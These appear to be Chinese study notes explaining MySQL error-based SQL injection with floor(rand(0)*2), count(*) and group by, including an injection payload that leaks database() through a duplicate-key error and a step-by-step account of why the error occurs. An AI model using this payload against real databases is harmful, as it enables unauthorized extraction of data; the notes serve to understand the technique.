当count(*)和group by一起用,在执行的时候会创建一个类似于下面这样的虚拟表 查询值,count(*)
and select 1 from (select count(*),concat (database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
select 1 from xxx...始终返回1
rand() 0<=返回值<1
select * from user 返回user数据有所有行数据
select floor(rand(0)*2) from user 返回user数据a(行总数)个1-2之间的伪随机数,也就是在一定次数的rand被执行时会得到一个不变的组,floor(rand(0)*2)前6次为0,1,1 0,1,1
select count(*),table_name from information_schema.tables group by table_schema;计算一个库名出现了多少次
select count(*),concat('x',floor(rand(0)*2))x from information_schema.tables 结果为 数据库总表数,x0
select count(*),concat('x',floor(rand(0)*2))x from information_schema.tables group by x
select 第一次
floor(rand(0)*2))=0 x0
group by会去找x0,没有就决定插入
group by决定插入却没有插入前,rand(0)会悄悄执行一次,结果为1(因为数据库总表数大于3,rand运行比group by快,也就是下一次rand执行,group by还没执行完第一次)
造成了一次select rand运行两次
floor(rand(0)*2))=1 x1
导致查询的值为x0不存在决定插入时,插入的值变为x1
select 的第二次
floor(rand(0)*2))=1 x1
此时查询的值为x1 ,在虚拟表里面查发现存在x1,于是导致count(*)+1 因为存在结果不需要group by执行插入,所以rand没有偷偷执行
select 第三次
floor(rand(0)*2))=0 x0
rand现在x0 group by就会查询不存在这个值就插入x0
但是rand此时会悄悄执行一次
floor(rand(0)*2))=1 x1
导致强行插入x1,此时报错,但由于mysql由内到外执行语句,所以concat('x',floor(rand(0)*2))被成功执行并返回x1结果,随着报错信息一起出来
rand(0)被执行两次的原因:
第一次执行rand为x0时,查询x0发现不存在就插入,插入会导致group by优化执行一次rand导致结果变为x1,最终导致查询的是x0插入结果为x1.所有但查询值存在时,rand不会被第二次执行,因为group没有优化执行。
最终的原因就是group by的优化执行策略